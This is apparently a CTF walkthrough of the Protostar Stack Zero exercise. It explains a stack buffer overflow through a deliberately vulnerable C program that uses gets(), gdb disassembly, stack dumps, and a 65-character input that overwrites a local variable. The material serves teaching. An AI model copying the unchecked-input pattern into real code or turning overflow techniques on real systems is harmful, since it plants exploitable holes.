- Difficulty Level: Easy
- URL: https://exploit.education/protostar/stack-zero/
- SHA-256 Hash:
2af291876fa650172f02b2a85699a10f29f7d3cf325bb70183d4e06e1dacc157
Introduction Link to heading
Protostar Stack Zero is a basic buffer overflow challenge designed to teach the fundamentals of stack-based exploitation. The goal is to modify a specific variable by overflowing the buffer.
This level introduces the concept of accessing memory outside its allocated region, understanding stack variable layout, and how modifying memory outside the allocated region can affect program execution.
The level is located at
/opt/protostar/bin/stack0
.
Tools Used Link to heading
gdb - The GNU Debugger
Initial Analysis Link to heading
Binary File Information Link to heading
First, we check the file type of the binary to understand its properties.
user@protostar:/opt/protostar/bin$ file ./stack0
./stack0: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
This information indicates that the binary is a 32-bit ELF executable for Linux.
Source Code Link to heading
The provided source code is analyzed to understand its functionality.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified; // This variable will be changed by the overflow
char buffer[64]; // Buffer that will be overflowed
modified = 0; // Initialize modified to 0
gets(buffer); // Unsafe function that can cause buffer overflow
if (modified != 0)
{
printf("You have changed the 'modified' variable\n"); // Success message
}
else
{
printf("Try again?\n"); // Failure message
}
}
Initial Execution Link to heading
Running the binary initially to observe its behavior.
user@protostar:/opt/protostar/bin$ ./stack0
[stdin]
Try again?
Entering random input shows the “Try again?” message, indicating that the modified
variable remains unchanged.
Detailed Walkthrough Link to heading
Step 1: Run the binary using The GNU Debugger (gdb) Link to heading
First, we need to start the GNU Debugger with the binary we want to analyze. This will allow us to inspect the program’s execution and debug it effectively.
user@protostar:/opt/protostar/bin$ gdb ./stack0
Step 2: Identifying Functions Link to heading
Listing all defined functions to understand the binary structure.
(gdb) info functions
All defined functions:
File stack0/stack0.c:
int main(int, char **);
Non-debugging symbols:
0x080482bc _init
0x080482fc __gmon_start__
0x080482fc __gmon_start__@plt
0x0804830c gets
0x0804830c gets@plt
0x0804831c __libc_start_main
0x0804831c __libc_start_main@plt
0x0804832c puts
0x0804832c puts@plt
0x08048340 _start
0x08048370 __do_global_dtors_aux
0x080483d0 frame_dummy
0x08048440 __libc_csu_fini
0x08048450 __libc_csu_init
0x080484aa __i686.get_pc_thunk.bx
0x080484b0 __do_global_ctors_aux
0x080484dc _fini
Step 3: Analyzing the Assembly Code with GDB Link to heading
Disassembling the main
function to understand the stack layout and variable placement.
(gdb) disassemble main
Dump of assembler code for function main:
0x080483f4 <main+0>: push %ebp
0x080483f5 <main+1>: mov %esp,%ebp
0x080483f7 <main+3>: and $0xfffffff0,%esp
0x080483fa <main+6>: sub $0x60,%esp
0x080483fd <main+9>: movl $0x0,0x5c(%esp)
0x08048405 <main+17>: lea 0x1c(%esp),%eax
0x08048409 <main+21>: mov %eax,(%esp)
0x0804840c <main+24>: call 0x804830c <gets@plt>
0x08048411 <main+29>: mov 0x5c(%esp),%eax
0x08048415 <main+33>: test %eax,%eax
0x08048417 <main+35>: je 0x8048427 <main+51>
0x08048419 <main+37>: movl $0x8048500,(%esp)
0x08048420 <main+44>: call 0x804832c <puts@plt>
0x08048425 <main+49>: jmp 0x8048433 <main+63>
0x08048427 <main+51>: movl $0x8048529,(%esp)
0x0804842e <main+58>: call 0x804832c <puts@plt>
0x08048433 <main+63>: leave
0x08048434 <main+64>: ret
End of assembler dump.
Correspondence Between Source Code and Assembly Code Link to heading
Function Prologue Link to heading
0x080483f4 <main+0>: push %ebp # Save the old base pointer (function prologue)
0x080483f5 <main+1>: mov %esp,%ebp # Set the new base pointer
These instructions save the old base pointer and set up the new base pointer for the current stack frame.
Stack Alignment and Allocation Link to heading
0x080483f7 <main+3>: and $0xfffffff0,%esp # Align stack pointer to 16-byte boundary
0x080483fa <main+6>: sub $0x60,%esp # Allocate 96 bytes on the stack
These instructions align the stack to a 16-byte boundary and allocate 96 bytes on the stack for local variables (buffer
and modified
).
Initializing modified
Link to heading
0x080483fd <main+9>: movl $0x0,0x5c(%esp) # Initialize 'modified' to 0 (modified = 0)
This sets modified
to 0.
Calling gets
Link to heading
0x08048405 <main+17>: lea 0x1c(%esp),%eax # Load address of 'buffer' into %eax (buffer is at %esp + 28)
0x08048409 <main+21>: mov %eax,(%esp) # Set up argument for gets() call (gets(buffer))
0x0804840c <main+24>: call 0x804830c <gets@plt> # Call gets() function
These instructions load the address of buffer
and call the gets
function.
Checking modified
Link to heading
0x08048411 <main+29>: mov 0x5c(%esp),%eax # Load 'modified' into %eax
0x08048415 <main+33>: test %eax,%eax # Test if 'modified' is 0
0x08048417 <main+35>: je 0x8048427 <main+51> # If 'modified' == 0, jump to "Try again?" message
These instructions check if modified
is 0. If it is, they jump to the “Try again?” message.
Printing “you have changed the ‘modified’ variable” Link to heading
0x08048419 <main+37>: movl $0x8048500,(%esp) # Set up argument for printf() (address of "you have changed the 'modified' variable\n")
0x08048420 <main+44>: call 0x804832c <puts@plt> # Call puts() function to print the message
0x08048425 <main+49>: jmp 0x8048433 <main+63> # Jump to the function epilogue
These instructions set up the argument for puts
and call it to print the message.
Printing “Try again?” Link to heading
0x08048427 <main+51>: movl $0x8048529,(%esp) # Set up argument for printf() (address of "Try again?\n")
0x0804842e <main+58>: call 0x804832c <puts@plt> # Call puts() function to print the message
These instructions set up the argument for puts
and call it to print the “Try again?” message.
Function Epilogue Link to heading
0x08048433 <main+63>: leave # Restore old base pointer and stack pointer (function epilogue)
0x08048434 <main+64>: ret # Return from main
These instructions restore the old base pointer and stack pointer and return from the main
function.
Step 4: Setting Breakpoints Link to heading
Setting a breakpoint to inspect when the modified
variable is checked.
(gdb) break *main+29
Breakpoint 1 at 0x8048411
(gdb) run
Starting program: /opt/protostar/bin/stack0
Step 5: Providing Input to Overflow the Buffer Link to heading
To overflow the buffer and modify the modified variable, provide an input of 65 characters: 64 characters to fill the buffer and one additional character to trigger the overflow.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB
Step 6: Verifying the Overflow Link to heading
Checking the values of the registers to validate the addresses on the stack using the stack pointer (esp) and the base pointer (ebp).
(gdb) info registers
eax 0xbffff76c -1073744020
ecx 0xbffff76c -1073744020
edx 0xb7fd9334 -1208118476
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff750 0xbffff750
ebp 0xbffff7b8 0xbffff7b8
eip 0x8048411 0x8048411 <main+29>
eflags 0x200246 [ PF ZF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
Step 7: Confirming the Buffer Overflow Link to heading
Checking the stack to confirm the buffer overflow. Notice that 0x41 represents the letter ‘A’ and 0x42 represents the letter ‘B’.
(gdb) x/27wx $esp
0xbffff750: 0xbffff76c 0x00000001 0xb7fff8f8 0xb7f0186e
0xbffff760: 0xb7fd7ff4 0xb7ec6165 0xbffff778 0x41414141
0xbffff770: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff780: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff790: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7a0: 0x41414141 0x41414141 0x41414141 0x00000042
0xbffff7b0: 0x08048450 0x00000000 0xbffff838
Buffer Overflow Demonstration Link to heading
Running the program with the crafted input to trigger the buffer overflow:
user@protostar:/opt/protostar/bin$ ./stack0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB
you have changed the 'modified' variable
Conclusion Link to heading
The Protostar Stack Zero challenge demonstrates a fundamental stack buffer overflow vulnerability. The gets
function, which does not check the length of the input, allows an overflow of the buffer
array. By providing an input string of 65 characters (64 for the buffer and 1 to overwrite modified
), the modified
variable is changed from 0
to a non-zero value. This exercise effectively illustrates the risks of unchecked input in software and serves as an introductory example of binary exploitation techniques.
Comments and Feedback Link to heading
Challenge Evaluation Link to heading
- Educational Value: This challenge is an excellent introduction to buffer overflow vulnerabilities and stack-based exploitation.
- Clarity: The task is clearly defined, making it accessible for beginners.
- Relevance: Understanding buffer overflows is critical for security professionals, making this challenge highly relevant.
Suggestions for Improvement Link to heading
- Additional Challenges: Incorporate subsequent exercises that build on this foundation, introducing more complex scenarios and mitigations.
- In-Depth Explanations: Provide more detailed explanations of assembly instructions and their real-world implications.
References and Further Reading Link to heading
Documentation Link to heading
- GDB Documentation: Comprehensive guide to the GNU Debugger, essential for understanding and debugging binary programs.
- Protostar Introduction: An overview of the Protostar series, which includes a range of binary exploitation challenges.
Educational Articles Link to heading
- Call Stack Explanation: A detailed explanation of call stacks, providing context for stack-based overflows.
- Function Prologue and Epilogue Explanation: An article explaining the purpose and structure of function prologues and epilogues in assembly language.
- Buffer Overflow Explanation: An in-depth look at buffer overflow vulnerabilities, their causes, and their consequences.
Deprecated Function: char * gets (char *s)
Link to heading
The gets
function, described in the GNU C Library reference manual, is inherently unsafe because it does not perform bounds checking on the input. It reads characters from stdin
until a newline character is encountered, discarding the newline. Due to its lack of input validation, gets
can easily cause buffer overflows, leading to potential security vulnerabilities. The use of safer alternatives such as fgets
or getline
is strongly recommended.
Source: Loosemore, S., Stallman, R. M., McGrath, R., Oram, A., & Drepper, U. (2023). The GNU C Library reference manual (Version 2.38). Free Software Foundation, Inc. Chapter 12: Input/Output on Streams (p. 286).